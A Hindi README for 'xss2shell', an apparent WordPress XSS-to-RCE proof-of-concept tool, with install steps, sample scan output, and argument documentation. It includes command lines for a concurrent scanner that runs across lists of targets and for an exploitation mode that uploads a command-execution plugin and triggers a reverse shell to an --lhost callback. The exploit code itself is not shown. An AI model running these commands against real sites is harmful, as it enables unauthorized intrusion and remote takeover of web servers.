
अधिकृत WordPress XSS-to-RCE स्कैनर जिसमें समवर्ती मल्टी-टार्गेट XSS रिफ्लेक्शन और वर्जन फिंगरप्रिंट डिटेक्शन, साथ ही वैकल्पिक एक्सप्लॉइटेशन वर्कफ़्लो शामिल है।
डेवलपर: YogaGymn
अधिकृत WordPress सुरक्षा परीक्षण के लिए PoC/स्कैनिंग उपयोगिता। इस प्रोजेक्ट में एक सिंगल-टार्गेट शोषण वर्कफ़्लो और एक समवर्ती मल्टी-टार्गेट केवल-स्कैन मोड शामिल है।
महत्वपूर्ण: इस प्रोजेक्ट का उपयोग केवल उन WordPress इंस्टॉलेशन पर करें जिनका आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट अधिकृति है। मल्टी-टार्गेट स्कैनर जानबूझकर फिंगरप्रिंटिंग और XSS रिफ्लेक्शन डिटेक्शन तक सीमित है; यह टार्गेट सूची के विरुद्ध क्रेडेंशियल कैप्चर, प्लगइन अपलोड, या RCE नहीं करता है।
मूल स्क्रिप्ट निम्नलिखित का समर्थन करती है:
auto, xss, और direct मोड।जोड़ा गया स्कैनर निम्नलिखित का समर्थन करता है:
ThreadPoolExecutor के साथ समवर्ती स्कैनिंग।मल्टी-टार्गेट मोड मूल RCE फ़ंक्शन को नहीं कॉल करता है।
requestsनिर्भरता स्थापित करें:
python3 -m pip install requests
यदि आपका Linux वितरण बाहरी रूप से प्रबंधित Python वातावरण का उपयोग करता है, तो वर्चुअल वातावरण का उपयोग करें:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
प्रोजेक्ट को क्लोन या कॉपी करें:
git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638
या बस रखें:
xss2shell.py
अपनी कार्यशील निर्देशिका में।
targets.txt नाम की एक फ़ाइल बनाएँ:
https://example1.test
https://example2.test
https://example3.test
टिप्पणियाँ और खाली पंक्तियाँ अनदेखी की जाती हैं:
# Authorized lab targets
https://example1.test
https://example2.test
स्कैनर चलाएँ:
python3 xss2shell.py -i targets.txt
डिफ़ॉल्ट समवर्तीता 10 वर्कर है।
उदाहरण के लिए, 20 वर्कर का उपयोग करें:
python3 xss2shell.py -i targets.txt --workers 20
एक छोटी लैब के लिए:
python3 xss2shell.py -i targets.txt --workers 5
अनावश्यक रूप से उच्च वर्कर संख्या न चुनें क्योंकि यह कनेक्शन लोड बढ़ा सकता है और रेट लिमिटिंग या डिफेंसिव कंट्रोल्स को ट्रिगर कर सकता है।
python3 xss2shell.py \
-i targets.txt \
--workers 10 \
--output results.txt
[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE
[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)
=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected : 1
Not detected : 2
Errors : 0
Results saved : scan_results.txt
डिफ़ॉल्ट scan_results.txt टैब-पृथक फ़ील्ड्स का उपयोग करता है:
TARGET WORDPRESS_VERSION XSS_STATUS XSS_DETAIL
उदाहरण:
https://example1.test 6.8.2 XSS_NOT_DETECTED ESCAPED
https://example2.test 6.7.1 XSS_REFLECTION_DETECTED AREA_BYPASS
स्थिति अर्थ
XSS_REFLECTION_DETECTED स्कैनर ने परीक्षण किए गए HTML
रिफ्लेक्शन व्यवहार का पता लगाया।
यह अपने आप में RCE का प्रमाण नहीं है।
XSS_NOT_DETECTED परीक्षण किया गया रिफ्लेक्शन नहीं
पाया गया।
ERROR जाँच में एक अपवाद आया।स्कैनर इस प्रकार के विवरण रिपोर्ट कर सकता है:
RAW_HTMLAREA_BYPASSESCAPEDSTRIPPEDNOT_REFLECTEDये मान डिटेक्शन रूटीन द्वारा देखे गए प्रतिक्रिया का वर्णन करते हैं; किसी परिणाम को पुष्टि की गई भेद्यता मानने से पहले इन्हें मैन्युअल रूप से सत्यापित किया जाना चाहिए।
मूल स्क्रिप्ट सिंगल-टार्गेट आर्ग्युमेंट्स का भी समर्थन करती है।
python3 xss2shell.py \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode direct \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode xss \
--lhost 192.0.2.10 \
http://authorized-lab.test
XSS/डायरेक्ट वर्कफ़्लो एक ऐसा प्लगइन बना या सक्रिय कर सकते हैं जिसमें कमांड-निष्पादन कार्यक्षमता हो। इन्हें केवल किसी अधिकृत परीक्षण वातावरण में ही उपयोग करें।
usage: xss2shell.py [-h]
[-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
[--mode {auto,xss,direct}]
[-u USERNAME] [-p PASSWORD]
[--lhost LHOST] [--lport LPORT]
[--slug SLUG] [--callback-port CALLBACK_PORT]
[--no-rev]
[target]
आर्ग्युमेंट विवरण
target एकल लक्ष्य URL।
-i, --input कई लक्ष्यों वाली फ़ाइल।
--output मल्टी-टार्गेट परिणामों के लिए
आउटपुट फ़ाइल। डिफ़ॉल्ट:
scan_results.txt।
--workers समवर्ती वर्कर्स की संख्या।
डिफ़ॉल्ट: 10।
--mode मूल सिंगल-टार्गेट मोड:
auto, xss, या direct।
-u, --username मूल
direct/fallback वर्कफ़्लो के लिए
WordPress उपयोगकर्ता नाम।
-p, --password मूल
direct/fallback वर्कफ़्लो के लिए
WordPress पासवर्ड।
--lhost मूल PoC के लिए
कॉलबैक/रिवर्स-शेल होस्ट।
--lport रिवर्स-शेल पोर्ट। डिफ़ॉल्ट:
4444।
--slug प्लगइन स्लग। डिफ़ॉल्ट: xss2shell।
--callback-port कॉलबैक सर्वर पोर्ट। डिफ़ॉल्ट:
9090।
--no-rev मूल वर्कफ़्लो में रिवर्स-शेल
ट्रिगरिंग छोड़ें।मल्टी-टार्गेट मोड Python के इसका उपयोग करता है:
ThreadPoolExecutor
प्रत्येक लक्ष्य को एक स्वतंत्र स्कैनिंग कार्य के रूप में सबमिट किया जाता है:
targets.txt
|
v
+----+----+----+----+
| T1 | T2 | T3 | T4 | ...
+----+----+----+----+
| | | |
v v v v
WP WP WP WP
XSS XSS XSS XSS
| | | |
+----+----+----+
|
v
scan_results.txt
परिणाम तब एकत्र किए जाते हैं जब वर्कर समाप्त होते हैं, जबकि अंतिम आउटपुट मूल लक्ष्य क्रम के अनुसार लिखा जाता है।